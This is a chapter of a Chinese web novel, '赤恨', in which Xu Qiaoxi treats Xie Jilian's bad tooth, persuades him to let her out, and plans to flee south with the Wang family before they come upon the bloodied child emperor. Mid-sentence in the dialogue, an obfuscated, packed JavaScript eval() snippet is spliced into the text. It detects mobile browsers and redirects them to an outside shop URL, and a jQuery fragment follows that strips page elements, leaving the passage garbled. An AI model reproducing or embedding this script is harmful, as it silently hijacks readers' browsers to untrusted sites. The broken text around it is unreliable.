14. 连环计
作品:《赤恨》 牛车在洛阳长街上缓缓而行,车外街坊门口,歪倒着三三两两的流民,小孩垂手垂脚被大人抱着,像一只只抱灰扑扑的麻袋,不成人形。
死亡像街檐遮阳的阴影笼罩他们。贵人驰车路过,他们只是木木地看着,不敢追赶乞讨,等待夜的阴影彻底吞噬自己。
车内,谢忌怜靠在软枕上合目养神,朝堂上的闹剧似影戏在脑海中重叠。
一堆重臣吵得激昂,火药味比前线还重。司马治坐在殿上,忽然间扯下自己的冠冕摔在众人面前,冕旒撞在青石地面上噼啪响。
“好了!够了!就知道吵,孤脑仁都要裂开了!”
那孩子哇哇大哭,快步奔下来,脱掉帝王朝服,玉带外袍丢得到处都是。
“你们都在逼孤!你们都想让孤死!”
他张嘴嚎啕,所有人立刻停止吵架,哄孩子似的劝慰他,捡衣裳,拾冠冕,慌张哆嗦地给他又穿上沉重的袍子。
谢忌怜回味着这一幕幕,按捺不住唇边笑意。
多好的乱世,成全他无聊的心。
车停在浅川春汀门口,他抬手掩唇打着哈欠下车。门内眼见的仆僮一见郎君,飞速跑出来,候在车旁笑嘻嘻:“郎君,红玉台小夫人说今儿做了冰酥酪,请您过去尝尝。”
徐巧犀。
谢忌怜想了想上次见她是什么时候,一回忆自己都诧异。
居然是一个多月前,那时初夏,现在都快夏末了。
——
红玉台树荫繁盛,一整个夏天都未被炎热侵蚀,更不必提白玉似的冰块每天源源不断送来,徐巧犀有时在屋子里甚至得多披一件薄衣。
她站在廊下,腰肢后靠栏杆,时不时眺望一下远处有没有身影过来,没见着就马上收回视线,装作自己没探视。
“唉……烦人。”
徐巧犀长这么大第一次主动约男人见面,既害怕他不来,又害怕他来,心情比小厨房井里的水桶还上上下下。
“烦?怜一下朝便过来了,还惹巧犀厌烦吗?”
徐巧犀猛得转身,薄衣飘飘,像一片被惊动的云。
“没有!不是说你。”
谢忌怜双眸弯弯,闪动着逗弄的趣味,“那为什么烦?”
因为……
徐巧犀艰难抿抿嘴,还是把打算咽了下去。
不能乱,得一步一步来。
“我担心冰酥酪要化掉了。”
她笑得很乖巧,“猜猜是谁做的?”
“你?”
徐巧犀点头,“我和厨娘们学的。快进来吧,再拖,一会儿真化了。”
她转身,背影翩翩走向室内。
无事献殷勤,非奸即盗。
谢忌怜亦步亦趋跟着她,心头颤动着期待——想揭开她这乖巧皮囊,看一看打着什么小算盘。
徐巧犀打开存着冰的食盒,足足嵌套了三层,每个隔层间都是碎冰,最内层四个小格,放着四种口味的冰酥酪。
“有青梅,葡萄,桂花,花生盐,你想尝哪一种?”
“花生盐?”
徐巧犀双眸亮如灿星,端出那一小碟撒着花生颗粒和细盐的酥酪,推到谢忌怜面前。
“我自己琢磨出来的口味,大家试了都觉得不错。”
甜食中加入一点盐会让香甜更加醇厚。
谢忌怜捻起小勺,舀了一点送入口中。
“好端端的,怎么和厨娘们学这个?想吃什么口味告诉她们便好……”
谢忌怜没说完,温柔神色忽然一僵,眉头微微蹙起,小勺子放回盘中,轻轻“叮”了一声。
就是现在。
徐巧犀心脏砰砰跳动,咬着口中软肉让自己保持冷静。
“是不是牙齿又不舒服?”
她将身探过去,观察谢忌怜的神色,“怎么吃这样一点都难受……你等等。”
起身取来一个小瓷罐子,打开是褐色的药粉。
“我问过府医,你的牙齿哪里是小毛病。再耽搁下去,身体都要拖垮。‘千里之堤溃于蚁穴’的道理谢郎君还不懂?”
徐巧犀跪坐在谢忌怜身侧,放下小瓷罐,食指学着那天他的样子点点自己侧腮。
“啊——”
她让他张嘴。
谢忌怜一时怔愣,琥珀瞳孔映出徐巧犀嘴巴圆圆张开的样子,酥酪咸而后甜的双重滋味在舌上交织融合。
心脏忽被攫住,他默然慌了一下。
张嘴,隐疾便暴露在她面前;不张,她就这么乖乖坐在他身侧,执着地教他。
琉璃似的瞳珠茫然转动,谢忌怜偏头躲开她。
只是一个细微的动作,他却觉得自己废了好大的力气,胸口起伏不定,控制不住地微喘。
“谢令嘉。”
徐巧犀似是有些不满,两道浅浅的细眉严肃拧在一起。
“张嘴。”
谢忌怜下颌一偏,固守着那颗坏牙。
徐巧犀气笑了。
他哪里来的小孩子脾气?
她索性伸手掰正谢忌怜,双手捧着固定他的脸,认认真真看着他:“我难道会害你吗?”
“试一试吧,万一治好了呢?想吃什么就吃什么的日子多好。”
谢忌怜的脸颊被她这么一捧,硬生生挤出来一点肉,鼓在徐巧犀掌中,像细腻的羊脂玉。
刹那间,这个玉滚烫起来。
万幸徐巧犀很快便松开手,转而调弄那药粉,谢忌怜皮肤下翻涌的血气逃离了她的掌控。
“一直都是坏的……”
他轻声喃喃,想说她在做无用功。
“就是坏掉了才要治呀。”
徐巧犀舀起一点药粉,手指抬起他的下巴。
“张嘴,啊——”
谢忌怜微扬下颌,视线斜垂于她眉眼。兴许是她太大题小做,他身体微抖,双手下意识攥住徐巧犀披肩的薄衣,借势稳固自己。
她身上凉幽幽的,衣裳都像抓不住的寒气。
谢忌怜攥得更紧。
徐巧犀扫过他的双手,嘴角露出一抹笑意。
“别怕,只是上药,又不是拔牙。”
她一手托着他下巴,一手趁他缓缓张嘴,将盛着药粉的细细竹勺送进去。
果然,她看见淡粉口腔中那颗有洞的牙齿,周遭微微红肿。湿润柔软的舌头偶尔抬起,他在紧张吞咽。
那颗坏牙就在舌侧,竹勺轻轻压着舌缘,将药粉仔细填进那个空洞中。
微酸,有点麻,更多的是牙齿根部发紧,那根不适的细线又在扯拽,谢忌怜很厌躁,但此刻那根细线一头系着他,一头系着徐巧犀……鬼使神差,他居然没任何脾气。
视线飘忽,他看见徐巧犀注视他的双眸,扇动的睫毛,小巧挺立的鼻尖,恬静得像颗桃子。
谢忌怜舌头抬起,在她目光中深深咽了一下。
“啊……”徐巧犀被他打断,抬眸与他对视,“疼吗?”
什么乱七八糟的感觉都有,但唯独没有疼。
谢忌怜凝着她又咽一下,嗓子喑哑:
“疼。”
徐巧犀脸上闪过无错,一时间想不到如何止住嘴里的疼,只好软下声音哄他:“一会儿就好,应该不会一直疼下去。”
竹勺从他口中收回来,徐巧犀小心盖好瓷罐,“别把药粉咽着吃了,就等它敷在那里。每两天上一次药,让玉蒲好生记着。”
“玉蒲吗?”
“嗯。”
谢忌怜手指搭在腮边,眼神里有几分寥落。
“那个,令嘉,我……待在红玉台好些时候了,能不能出去走走?”
徐巧犀指甲抠着瓷罐,“其实我都没逛过洛阳城,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17472180|201550||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
对这里一概不知……”
“洛阳城没有什么好逛的,何况现下流民四起,外头不安全。”
谢忌怜淡淡否了她,视线扫过那放着酥酪的食盒,又落到徐巧犀手中的药粉上。
原来是连环计。
“多一些人陪我就会安全啊,而且我一定不乱跑,只是出去看看风土人情。”
“红玉台我待得有些腻了……你要是实在不放心,我约王家女郎一块儿去逛?王谢两家的人都带上,不会有事的。”
她眨着眼,真挚又急切。
谢忌怜哑然失笑,捏了捏眉心,对徐巧犀幼稚的“圈套”无可奈何。
她大费周章,又是做酥酪又是殷勤上药的,拒绝到底似乎有些不近人情。
“一个时辰。”
“你同她出去一个时辰后必须回来。流民若起暴动可不是闹着玩的。”
——
王沐爱没想到徐巧犀会主动约她出去游玩,奇异之下也惦记徐巧犀的情况,收到邀约早早便来了。
“小夫人身子好些了吗?”
徐巧犀点头,想起当日在王沐爱面前撒野撒泼似的哭,一时间有些局促。
两人坐在车内,帘外不停走动着衣衫褴褛的流民在找落脚的地方。
街檐下已经没有多的地方了。
徐巧犀看着他们,呼吸有些不畅,“女郎知道外面发生了什么吗?”
“令嘉阿兄没有告诉你?”
王沐爱有些吃惊。朝堂众人乱成热锅上的蚂蚁,自家兄长连着好几日都住在尚书台,令嘉阿兄也是忙得分身乏术,这小夫人对于外界一点不知?
“其实左不过三个字,‘不太平’。藩王叛乱未平,胡贼又侵扰北地,听说现在已经拿下我们十三座城池,直奔着洛阳来了。加上天灾肆虐,洪涝,旱灾……”
王沐爱看着车外行尸走肉般的流民,心口难受如火烧。
“我已经将自己的体己尽数换成米粮分给他们,可这也是杯水车薪。”
“我也可以……”
徐巧犀刚想说反正红玉台的珠宝首饰她都不怎么戴,也可以拿出去换粮食救人。可话到嘴边,她突然想起那些珠宝首饰不是她的,是谢忌怜的。
她不可以擅自做主。
“女郎,王家是否定下要去南方了呢?”
“这个……”王沐爱手中朱红刀扇抬起,虚掩脸颊,默了好一会儿才缓缓点头。
没有必要遮掩了,越来越多的士族离开洛阳,离开北地。大家心照不宣,放弃都城是早晚的事,目前只有谢忌怜这一支坚定留在都城,半点动作也无。
“你们去南边可不可以带上我?”
“什么?”王沐爱双瞳放大,“你是令嘉阿兄的小妻,怎么可以……”
逃妾是比奴隶还低的身份。
徐巧犀想解释她很快就不会是谢忌怜的妾室了,但又说不出口,只好顶着王沐爱震惊的目光,双手郁闷撑脸。
这段日子她翻遍书籍,渐渐接受回现代是一件很渺茫的事情。
她得为自己打算,最好的选择就是去南方。
至于谢忌怜嘛……他堂堂陈郡谢氏的郎君,轮不到她操心。
的确很没有良心,徐巧犀也在夜里痛骂自己,可自责过了,她还得活命。
车内空气凝滞,忽然间连车身也停下。
徐巧犀正要问怎么回事,车夫隔着帘子慌张喊:“小夫人,王女郎,这这这人满身都是血!”
徐巧犀和王沐爱对视一眼,两人悄悄掀起帘子,视线投向外边。
牛车前,有个半大不小的清瘦少年失神徘徊,披头散发,光脚赤足,一身黑色宽袍,怀里揣着个圆球似的东西,衣袖下裳滴滴答答淌着血。
待看清那人面貌后,王沐爱手中刀扇瞬间掉落。
“陛下!”

